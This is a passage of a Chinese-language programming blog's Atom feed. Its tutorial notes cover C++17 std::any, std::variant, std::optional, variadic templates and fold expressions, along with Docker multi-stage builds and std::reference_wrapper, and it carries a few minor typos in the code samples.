  std &amp;lt;&amp;lt; cout &amp;lt;&amp;lt; b.type().name() &amp;lt;&amp;lt;std::endl; &amp;#x2F;&amp;#x2F;int

  &amp;#x2F;&amp;#x2F;使用any的值
  try
  {
    auto f = std::any_cast&amp;lt;int&amp;gt;(a); &amp;#x2F;&amp;#x2F;f为int类型，其值为2
    std::cout &amp;lt;&amp;lt; f &amp;lt;&amp;lt;std::endl; &amp;#x2F;&amp;#x2F;2
  }
  catch(const std::bad_any_cast&amp;amp; e)
  {
    std::cout&amp;lt;&amp;lt; e.what()&amp;lt;&amp;lt;std::endl;
  }

  try
  {
    auto g = std::any_cast&amp;lt;float&amp;gt;(a); &amp;#x2F;&amp;#x2F;抛出std::bad_any_cat 异常
    std::cout &amp;lt;&amp;lt; g &amp;lt;&amp;lt;std::endl; &amp;#x2F;&amp;#x2F;该语句不会执行
  }
  catch(const std::bad_any_cast&amp;amp; e)
  {
    std::cout&amp;lt;&amp;lt; e.what()&amp;lt;&amp;lt;std::endl;  &amp;#x2F;&amp;#x2F;可能输出Bad any_cast
  }
  return 0;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;std-variant&quot;&gt;std::variant&lt;&#x2F;h1&gt;
&lt;p&gt;std::variant是类型安全的union&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;variant&amp;gt;
#include &amp;lt;iostream&amp;gt;

union my_union
{
    int i;
    float f;
    char c;
};

int main()
{
    std::cout &amp;lt;&amp;lt; std::boolalpha;
    std::variant&amp;lt;int, float, char&amp;gt; variant;
    &amp;#x2F;&amp;#x2F;这里的variant等价于my_union
    
    &amp;#x2F;&amp;#x2F;在构造的时候，如果构造过程中抛出了异常，valueless_by_exception的返回值为true
    std::cout&amp;lt;&amp;lt; variant.valueless_by_exception()&amp;lt;&amp;lt;std::endl;   &amp;#x2F;&amp;#x2F;false

    {
        variant = 12;   &amp;#x2F;&amp;#x2F; variant包含了int类型
        int i = std::get&amp;lt;int&amp;gt;(variant);  &amp;#x2F;&amp;#x2F;使用std::get&amp;lt;T&amp;gt;可以获取所含有的值

        try
        {
            auto f = std::get&amp;lt;float&amp;gt;(variant);  &amp;#x2F;&amp;#x2F;此时的值为int，所以想要获取float的时候就会抛出异常
        }
        catch (const std::bad_variant_access &amp;amp; exception)
        {
            std::cout &amp;lt;&amp;lt; exception.what() &amp;lt;&amp;lt; std::endl;
        }

        variant = 1.0f;
        auto f = std::get&amp;lt;float&amp;gt;(variant);
        std::cout &amp;lt;&amp;lt; f &amp;lt;&amp;lt; std::endl;  &amp;#x2F;&amp;#x2F;1.0
    }
    

    {
        &amp;#x2F;&amp;#x2F;还可以使用索引来获取对应的值
        auto f = std::get&amp;lt;1&amp;gt;(variant);  
        try
        {
            auto i = std::get&amp;lt;0&amp;gt;(variant);
        }
        catch (const std::bad_variant_access &amp;amp; exception)
        {
            std::cout &amp;lt;&amp;lt; exception.what() &amp;lt;&amp;lt; std::endl;
        }

        variant = 1;
        auto i = std::get&amp;lt;0&amp;gt;(variant);
        std::cout&amp;lt;&amp;lt;i&amp;lt;&amp;lt;std::endl;  &amp;#x2F;&amp;#x2F;1
    }

    variant = 2.0f;
    std::cout &amp;lt;&amp;lt; variant.index() &amp;lt;&amp;lt; std::endl;  &amp;#x2F;&amp;#x2F;1

    variant = 2;
    std::cout &amp;lt;&amp;lt; variant.index() &amp;lt;&amp;lt; std::endl;  &amp;#x2F;&amp;#x2F;0

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;std-optional&quot;&gt;std::optional&lt;&#x2F;h1&gt;
&lt;p&gt;该类型是用来表示一个值是不是存在的。std::optional有两个状态，即有值和无值。通常我们将std::optional用于函数的返回值，当函数执行成功了返回有值的状态，当函数执行失败了返回无值的状态。当std::optional有值时，它可以在使用bool值的地方转化为true，反之，转化为false。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;optional&amp;gt;

int main()
{
    std::cout &amp;lt;&amp;lt; std::boolalpha;
    std::optional&amp;lt;int&amp;gt; op1;       &amp;#x2F;&amp;#x2F;表示一个不存在的值
    std::optional&amp;lt;int&amp;gt; op2 = 1;   &amp;#x2F;&amp;#x2F;表示一个存在的int类型的值
    std::optional&amp;lt;int&amp;gt; op3(2);    &amp;#x2F;&amp;#x2F;表示存在的一个int类型的值
    std::optional&amp;lt;std::string&amp;gt; op4(std::in_place, 3, &amp;#x27;A&amp;#x27;);     &amp;#x2F;&amp;#x2F;构建一个存有std::string类型的std::optional，
                                                               &amp;#x2F;&amp;#x2F;调用std::string的构造函数，其值为&amp;quot;AAA&amp;quot;
    
    std::cout &amp;lt;&amp;lt; op1.has_value() &amp;lt;&amp;lt; std::endl;   &amp;#x2F;&amp;#x2F;输出为false
    
    if (!op1)    
    {
        std::cout &amp;lt;&amp;lt; &amp;quot;empty optional is false&amp;quot; &amp;lt;&amp;lt; std::endl;  &amp;#x2F;&amp;#x2F;由于op1不存在值，所以在此转化为false
    }

    try 
    {
        std::cout &amp;lt;&amp;lt; op4.value() &amp;lt;&amp;lt; std::endl;     &amp;#x2F;&amp;#x2F;获取std::optional 的值，如果不存在值，则抛出std::bad_optional_access异常
    }
    catch (std::bad_optional_access &amp;amp; e)
    {
        std::cout &amp;lt;&amp;lt; e.what() &amp;lt;&amp;lt; std::endl;
    }

    std::optional&amp;lt;int&amp;gt; op5;
    std::cout&amp;lt;&amp;lt;op5.value_or(5)&amp;lt;&amp;lt;std::endl;

    op2.reset();
    std::cout &amp;lt;&amp;lt; op2.has_value() &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F;false

    op2 = 3;
    op2 = 4.0;
    std::cout &amp;lt;&amp;lt; op2.value() &amp;lt;&amp;lt; std::endl;    &amp;#x2F;&amp;#x2F;4.0
    
    op2.emplace&amp;lt;int&amp;gt;(5);
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;shi-yong-zhong-zai-de-lambdaslai-vistor-fang-wen-variant&quot;&gt;使用重载的Lambdas来vistor 访问 variant&lt;&#x2F;h1&gt;
&lt;p&gt;https:&#x2F;&#x2F;blog.csdn.net&#x2F;janeqi1987&#x2F;article&#x2F;details&#x2F;100568146&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename... Ts&amp;gt; struct overload : Ts... { using Ts::operator()...; };
&amp;#x2F;&amp;#x2F; base types are deduced from passed arguments:
template&amp;lt;typename... Ts&amp;gt; overloaded(Ts...) -&amp;gt; overloaded&amp;lt;Ts...&amp;gt;;

std::variant&amp;lt;double, bool, std::string&amp;gt; var;
var = string(&amp;quot;hello&amp;quot;);
&amp;#x2F;&amp;#x2F; var = 1.0;
std::visit(overloaded {
            [](auto arg) { std::cout &amp;lt;&amp;lt; arg &amp;lt;&amp;lt; &amp;#x27; &amp;#x27;; },
            [](double arg) { std::cout &amp;lt;&amp;lt; std::fixed &amp;lt;&amp;lt; arg &amp;lt;&amp;lt; &amp;#x27; &amp;#x27;; },
            [](const std::string&amp;amp; arg) { std::cout &amp;lt;&amp;lt; std::quoted(arg) &amp;lt;&amp;lt; &amp;#x27; &amp;#x27;; },
        }, var);

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;overloadsfang-shi-fang-wen-std-variant&quot;&gt;overloads方式访问std::variant&lt;&#x2F;h2&gt;
&lt;p&gt;引入的overload&amp;lt;&amp;gt; 变参模板类,
核心思路是创建一个overloaded对象, 然后从传入的多个lambda表达式继承他们的operator()操作符(Lambda表达式概念上就是提供了operator()操作符的函数对象), 这样我们就可以在std::visit()中利用lambda方便的访问对应的std::variant了.&lt;&#x2F;p&gt;
&lt;p&gt;当然, 以上代码抛开C++17的相关特性, 解释起来都费力, 所以我们下面从关联的C++17特性介绍一下实现细节.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pack-extension-in-using-declarations&quot;&gt;Pack extension in using declarations&lt;&#x2F;h2&gt;
&lt;p&gt;using其实早在C++11的时候就加入到标准了, 但variadic template参数展开支持using表达式, 是17才支持的特性, 像如下代码声明:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;using Ts::operator()...;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;借助C++17支持的using展开, 我们很容易就完成了各lambda表达式的operator()操作符的expose. 这样子类就具备了所有父类的operator()操作符, 与我们1.5中声明的那个vistor struct很接近了.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;custom-template-argument-deduction-rules-huo-zhe-user-defined-template-argument-deduction-rules&quot;&gt;Custom template argument deduction rules(或者 user-defined template argument deduction rules)&lt;&#x2F;h2&gt;
&lt;p&gt;template&amp;lt;class... Ts&amp;gt; overloaded(Ts...) -&amp;gt; overloaded&amp;lt;Ts...&amp;gt;;
这个其实是一个跟c++11&#x2F;14的时候加入的返回值deduce非常像的概念, 通过 user-defined template argument decduction, 我们可以告诉compiler, 括号操作符需要展开成 overloaded, 这样我们实际使用的时候就直接&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;overloaded {
            [](auto arg) { std::cout &amp;lt;&amp;lt; arg &amp;lt;&amp;lt; &amp;#x27; &amp;#x27;; },
            [](double arg) { std::cout &amp;lt;&amp;lt; std::fixed &amp;lt;&amp;lt; arg &amp;lt;&amp;lt; &amp;#x27; &amp;#x27;; },
            [](const std::string&amp;amp; arg) { std::cout &amp;lt;&amp;lt; std::quoted(arg) &amp;lt;&amp;lt; &amp;#x27; &amp;#x27;; },
        }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这种使用形式完成了我们的overloaded对象构造. 相关使用代码简单易读.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>可变参数模板</title>
        <published>2022-06-20T00:09:19+08:00</published>
        <updated>2022-06-20T00:09:19+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/可变参数模板/"/>
        <id>https://vercel.juzhong.asia/2022/06/可变参数模板/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/可变参数模板/">&lt;h1 id=&quot;ke-bian-can-shu-mo-ban&quot;&gt;可变参数模板&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;ke-bian-can-shu-mo-ban-1&quot;&gt;可变参数模板&lt;&#x2F;h1&gt;
&lt;p&gt;一个可变参数模板就是：一个接受可变数目参数的模板函数或模板类&lt;&#x2F;p&gt;
&lt;p&gt;可变数目的参数被称为参数包。存在两种参数包：
模板参数包：表示零个或多个模板参数
函数参数包：表示零个或多个函数参数&lt;&#x2F;p&gt;
&lt;p&gt;语法格式：
用一个省略号来指出一个模板参数或函数参数表示一个包
在模板参数列表中：class...或typename...指出接下来的参数表示零个或多个类型的列表；一个类型名后面跟一个省略号表示零个多多个给定类型的非类型参数的列表
在函数参数列表中：如果一个参数的类型是一个模板参数包，则此参数也是一个函数参数包&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;模板参数列表中：声明一个名为T的类型参数，和一个名为Args的模板参数包（这个包表示零个或多个额外的类型参数）
函数参数列表中：声明一个const&amp;amp;类型的参数，指向T的类型，还包含一个名为reset的函数参数包（这个包表示零个或多个函数参数）
登录后复制
&#x2F;&#x2F;Args是一个模板参数包；rest是一个函数参数包
&#x2F;&#x2F;Args表示零个或多个模板类型参数
&#x2F;&#x2F;rest表示零个或多个函数参数&lt;&#x2F;p&gt;
&lt;p&gt;template&amp;lt;typename T,typename... Args&amp;gt;
void foo(const T &amp;amp;t, const Args&amp;amp; ... reset)
{
&#x2F;&#x2F;...
}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;sizeof-yun-suan-fu&quot;&gt;sizeof...运算符&lt;&#x2F;h1&gt;
&lt;p&gt;当我们想要知道包中有多少元素时，可以使用sizeof...运算符，该运算符返回一个常量表达式，并且不会对其实参求值
下面是一个演示案例：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename... Args&amp;gt;
void g(Args... args) 
{
    std::cout &amp;lt;&amp;lt; sizeof...(Args) &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F;类型参数的数目
    std::cout &amp;lt;&amp;lt; sizeof...(args) &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F;函数参数的数目
}

int main()
{
    int i = 0;
    double d = 3.14;
    string s = &amp;quot;how now brown cow&amp;quot;;

    g(i, s, 42, d);
    g(s, 42, &amp;quot;hi&amp;quot;);
    g(d, s);
    g(&amp;quot;hi&amp;quot;);

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;bian-xie-ke-bian-can-shu-han-shu-mo-ban&quot;&gt;编写可变参数函数模板&lt;&#x2F;h1&gt;
&lt;p&gt;普通函数的可变形参，可以使用一个initializer_list来定义一个可接受可变数目实参的函数。但是，initializer_list实参必须具有相同的类型（或者它们的类型可以庄园为同一类型）
当我们既不知道想要处理的实参的数目也不知道它们的类型时，可变参数函数是很有用的&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ke-bian-can-shu-mo-ban-de-di-gui-diao-yong&quot;&gt;可变参数模板的递归调用&lt;&#x2F;h2&gt;
&lt;p&gt;下面我们先定义一个print模板函数，它在给定一个流上打印给定实参列表的内容：
&#x2F;&#x2F;使用参数1的输出流，打印参数2的内容（也用来结束下面的print函数）&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T&amp;gt;
ostream &amp;amp;print(ostream &amp;amp;os, const T &amp;amp;t)
{
    return os &amp;lt;&amp;lt; t;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在我们定义一个可变参数模板函数，也名为print。它用来递归调用print函数，注意：
每次递归调用print的时候都会将Args参数的数量递减然后传递给print()函数
当递归到最后Args参数只剩一个的时候就会调用上面两个参数的print()函数（注意(重点)：上面的print函数必须定义，否则下面的print函数就会永远递归下去，不能够结束）&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T, typename... Args&amp;gt;
ostream &amp;amp;print(ostream &amp;amp;os, const T &amp;amp;t, const Args&amp;amp;... rest)
{
    os &amp;lt;&amp;lt; t &amp;lt;&amp;lt; &amp;quot;, &amp;quot;;              &amp;#x2F;&amp;#x2F;打印第一个实参
    return print(os, rest...);    &amp;#x2F;&amp;#x2F;然后递归调用print
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;假设我们调用下面的print语句，那么递归会依次执行下面的结果：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;int i = 10;
int s = 20;
print(std::cout, i, s, 42);&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;bao-kuo-zhan&quot;&gt;包扩展&lt;&#x2F;h2&gt;
&lt;p&gt;对于一个参数包，除了获取其大小外，我们能对它做的唯一事情就是扩展它。当扩展一个包时，我们还要提供用于每个扩展元素的模式。扩展一个包就是把它分解为构成的元素，对每个元素引用模式
我们通过在模式右边放一个省略号（...）来触发扩展操作。例如刚才我们在上面定义的print函数：.
第一个扩展操作：扩展模板参数包，为print生成函数参数列表
第二个扩展操作：出现在对print的调用中，目的是为print调用生成实参列表&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T, typename... Args&amp;gt;
ostream &amp;amp;print(ostream &amp;amp;os, const T &amp;amp;t, const Args&amp;amp;... rest) &amp;#x2F;&amp;#x2F;扩展Args
{
    os &amp;lt;&amp;lt; t &amp;lt;&amp;lt; &amp;quot;, &amp;quot;;
    return print(os, rest...);    &amp;#x2F;&amp;#x2F;扩展Args
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对Args的扩展中，编译器将模式const Args&amp;amp;应用到模板参数包Args中的每个元素。因此，此模式的扩展结果是一个逗号分隔的零个或多个类型的列表，每个类型都形如const type&amp;amp;，例如：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;print(std::cout, i, s, 42); &amp;#x2F;&amp;#x2F;包中有两个参数
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最后两个实参的类型和模式一起确定了位置参数的类型。此调用被实例化为：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;print(ostream&amp;amp;, const int&amp;amp;, const string&amp;amp;, const int&amp;amp;);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;第二个扩展发生在对print的递归调用中。再次情况下，模式时函数参数包的名字（即rest）。此模式扩展处一个由包中元素组成的、逗号分隔的列表。因此，这个调用等价于&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;print(std::cout, s, 42);
print(ostream&amp;amp;, const string&amp;amp;, const int&amp;amp;);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;li-jie-bao-kuo-zhan&quot;&gt;理解包扩展&lt;&#x2F;h2&gt;
&lt;p&gt;上面的print函数参数包扩展仅仅将包扩展为其构成元素，C++语言还允许更复杂的扩展模式
例如，我们编写第二个可变参数函数errorMsg，在其内部使用print函数，然后每个实参调用debug_rep()函数打印结果：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T&amp;gt;
string debug_rep(const T &amp;amp;t)
{
    ostringstream ret;
    ret &amp;lt;&amp;lt; t;
    return ret.str();
}

template&amp;lt;typename... Args&amp;gt;
ostream &amp;amp;errorMsg(ostream &amp;amp;os, const Args&amp;amp;... rest)
{
    &amp;#x2F;&amp;#x2F;print(os,debug_rep(a1),debug_rep(a2),...,debug_rep(an))
    return print(os, debug_rep(rset)...);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面的print调用使用了模式debug_rep(rset)。此模式表示我们希望对函数参数包rest中的每个元素调用debug_rep
但是，下面的形式是错误的：
如果将rset...传递给debuf_rep()。代表debug_rep是一个可变参数模板，但是debug_rep不是
正确的做法是每次将一个rset参数传递给debug_rep&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename... Args&amp;gt;
ostream &amp;amp;errorMsg(ostream &amp;amp;os, const Args&amp;amp;... rest)
{
    return print(os, debug_rep(rset...)); &amp;#x2F;&amp;#x2F;错误的
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;zhuan-fa-can-shu-bao&quot;&gt;转发参数包&lt;&#x2F;h1&gt;
&lt;p&gt;在C++11标准下，我们可以组合使用可变参数模板与forword机制来编写函数，实现将其实参不变地传递给其他函数&lt;&#x2F;p&gt;
&lt;p&gt;作为例子，我们将StrVec类添加一个emplace_back成员，标准库容器的emplace_back成员是一个可变参数成员模板，它用其实参在容器管理的内存空间中直接构造一个元素
我们为StrVec设计的emplace_back版本也应该是可变参数的，因为string有多个构造函数，参数各不相同。由于我们希望能使用string的移动构造函数，因此还需要保持传递给emplace_back的实参的所有类型信息
因此StrVec类的emplace_back成员定义如下：
模板参数包扩展的模式是&amp;amp;&amp;amp;，意味着每个函数参数将是一个指向其对应实参的右值引用&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;class StrVec {
public:
    template&amp;lt;class... Args&amp;gt;
    void emplace_back(Args&amp;amp;&amp;amp;...);
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其次，当emplace_back将这些实参传递给construct时，必须使用forward来保持实参的原始类型：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;class... Args&amp;gt;
void StrVec::emplace_back(Args&amp;amp;&amp;amp;... args)
{
    chk_n_alloc(); &amp;#x2F;&amp;#x2F;判断空间是否充足
    alloc.construct(first_free++,std::forward&amp;lt;Args&amp;gt;(args)...)
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;construct在first_free指向的位置中创建一个元素。construct调用中的扩展为：
其中Ti表示模板参数包中第i个元素的类型，ti表示函数参数包中第i个元素&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;std::forward&amp;lt;Ti&amp;gt;(ti);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果我们有下面的调用：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;StrVec svec;
svec.emplace_back(10, &amp;#x27;c&amp;#x27;); &amp;#x2F;&amp;#x2F;将cccccccccc添加为新的尾元素
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;construct调用中的模式会扩展出：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;std::forward&amp;lt;int&amp;gt;(10),std::forward&amp;lt;char&amp;gt;(c);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过在此调用中使用forward，我们保证如果一个右值调用emplace_back，则construct也会得到一个右值。例如，在下面的调用中：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;svec.emplace_back(s1+s2); &amp;#x2F;&amp;#x2F;使用移动构造函数
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;传递给emplace_back的实参是一个右值，它将以如下形式传递给construct：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;std::forward&amp;lt;string&amp;gt;(string(&amp;quot;the end&amp;quot;));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;forward&amp;lt;stirng&amp;gt;的结果类型是string&amp;amp;&amp;amp;，因此construct将得到一个右值引用实参，construct会继续将此实参传递给string的移动构造函数来创建新元素 &lt;&#x2F;p&gt;
&lt;h1 id=&quot;zhe-die-biao-da-shi&quot;&gt;折叠表达式&lt;&#x2F;h1&gt;
&lt;p&gt;C++17中引入了折叠表达式，主要是方便模板编程，分为左右折叠，下图为其解包形式&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;typename... Args&amp;gt; auto sub_right(Args... args) {
  return (args - ...);
}

template &amp;lt;typename... Args&amp;gt; auto sub_left(Args... args) { return (... - args); }

template &amp;lt;typename... Args&amp;gt; auto sum_right(Args... args) {
  return (args + ...);
}

int main() {
  std::cout &amp;lt;&amp;lt; sub_right(8, 4, 2) &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F; (8 - (4 - 2)) = 6
  std::cout &amp;lt;&amp;lt; sub_left(8, 4, 2) &amp;lt;&amp;lt; std::endl;  &amp;#x2F;&amp;#x2F; ((8 - 4) - 2) = 2

  std::cout &amp;lt;&amp;lt; sum_right(std::string{&amp;quot;hello &amp;quot;}, std::string{&amp;quot;world&amp;quot;})
            &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F; hello world

  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>docker 多阶段构建</title>
        <published>2022-06-19T19:13:03+08:00</published>
        <updated>2022-06-19T19:13:03+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/docker-多阶段构建/"/>
        <id>https://vercel.juzhong.asia/2022/06/docker-多阶段构建/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/docker-多阶段构建/">&lt;h1 id=&quot;docker-duo-jie-duan-gou-jian&quot;&gt;docker 多阶段构建&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;duo-jie-duan-gou-jian&quot;&gt;多阶段构建&lt;&#x2F;h1&gt;
&lt;p&gt;Docker v17.05 开始支持多阶段构建 (multistage builds)。使用多阶段构建我们就可以很容易解决前面提到的问题，并且只需要编写一个 Dockerfile：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;FROM golang:alpine as builder
RUN apk --no-cache add git
WORKDIR &amp;#x2F;go&amp;#x2F;src&amp;#x2F;github.com&amp;#x2F;go&amp;#x2F;helloworld&amp;#x2F;
RUN go get -d -v github.com&amp;#x2F;go-sql-driver&amp;#x2F;mysql
COPY app.go .
RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o app .

FROM alpine:latest as prod
RUN apk --no-cache add ca-certificates
WORKDIR &amp;#x2F;root&amp;#x2F;
# COPY --from=builder &amp;#x2F;go&amp;#x2F;src&amp;#x2F;github.com&amp;#x2F;go&amp;#x2F;helloworld&amp;#x2F;app .
COPY --from=0 &amp;#x2F;go&amp;#x2F;src&amp;#x2F;github.com&amp;#x2F;go&amp;#x2F;helloworld&amp;#x2F;app .
CMD [&amp;quot;.&amp;#x2F;app&amp;quot;]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;zhi-gou-jian-mou-yi-jie-duan-de-jing-xiang&quot;&gt;只构建某一阶段的镜像&lt;&#x2F;h1&gt;
&lt;p&gt;我们只想构建 builder 阶段的镜像时，增加 --target=builder 参数即可&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker build --target builder -t username&amp;#x2F;imagename:tag .
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;gou-jian-shi-cong-qi-ta-jing-xiang-fu-zhi-wen-jian&quot;&gt;构建时从其他镜像复制文件&lt;&#x2F;h1&gt;
&lt;p&gt;上面例子中我们使用 COPY --from=0 &#x2F;go&#x2F;src&#x2F;github.com&#x2F;go&#x2F;helloworld&#x2F;app . 从上一阶段的镜像中复制文件，我们也可以复制任意镜像中的文件。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;COPY --from=nginx:latest &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;nginx.conf &amp;#x2F;nginx.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>cxx std::enable_shared_from_this</title>
        <published>2022-06-16T18:26:29+08:00</published>
        <updated>2026-10-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/std__reference_wrapper/"/>
        <id>https://vercel.juzhong.asia/2022/06/std__reference_wrapper/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/std__reference_wrapper/">&lt;h1 id=&quot;cxx-std-enable-shared-from-this&quot;&gt;cxx std::enable_shared_from_this&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;std-reference-wrapper-he-std-ref&quot;&gt;std::reference_wrapper()和std::ref()&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;std-reference-wrapper&quot;&gt;std::reference_wrapper&lt;&#x2F;h2&gt;
&lt;p&gt;std::reference_wrapper是C++11引入的新特性，定义在 &lt;code&gt;&amp;lt;functional&amp;gt;&lt;&#x2F;code&gt; 头文件中&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt; class T &amp;gt;
class reference_wrapper;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;reference_wrapper 将一个引用包装成一个可拷贝的，可分配的对象，是引用的包装器，她通常作为一种将引用存储在标准容器(比如std::vector)中的的机制，因为标准容器通常是无法存储引用的。&lt;&#x2F;p&gt;
&lt;p&gt;比如： 容器里是 std::reference_wrapper 对象&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;std::vector&amp;lt;std::reference_wrapper&amp;lt;ParticipantObserver&amp;gt;&amp;gt; observers_;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;reference_wrapper是一个可拷贝构造和可赋值构造的包装器，它可以将一个引用包装成对象或者将一个引用包装成模板参数类型T的函数；
std::reference_wrapper的实例对象可以保存和存储在标准容器当中，但是会隐式的转换为T&amp;amp;，因此std::reference_wrapper可以作为将把被其包裹类型为参数的函数的实参。&lt;&#x2F;p&gt;
&lt;p&gt;如下面的代码中，函数func的参数类型为int，而传递给func的参数确是std::reference_wrapper类型的对象。这个特性是保证reference_wrapper对象可以作为函数实参的关键。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;void func(int param){
std::cout &amp;lt;&amp;lt; param &amp;lt;&amp;lt; std::endl;
}
int a = 3;
std::reference_wrapper&amp;lt;int&amp;gt; ra = a;
func(ra);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;若reference_wrapper包裹的引用是可以调用的，则reference_wrapper对象也是可调用的；
std::ref 和std::cref 通常用来产生一个reference_wrapper对象；
reference_wrapper 常通过引用传递对象给std::bind函数或者std::thread构造函数。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;std-reference-wrapperke-neng-de-shi-xian&quot;&gt;std::reference_wrapper可能的实现&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;namespace detail {
template &amp;lt;class T&amp;gt; constexpr T&amp;amp; FUN(T&amp;amp; t) noexcept { return t; }
template &amp;lt;class T&amp;gt; void FUN(T&amp;amp;&amp;amp;) = delete;
}
 
template &amp;lt;class T&amp;gt;
class reference_wrapper {
public:
  &amp;#x2F;&amp;#x2F; types
  typedef T type;
 
  &amp;#x2F;&amp;#x2F; construct&amp;#x2F;copy&amp;#x2F;destroy
  template &amp;lt;class U, class = decltype(
    detail::FUN&amp;lt;T&amp;gt;(std::declval&amp;lt;U&amp;gt;()),
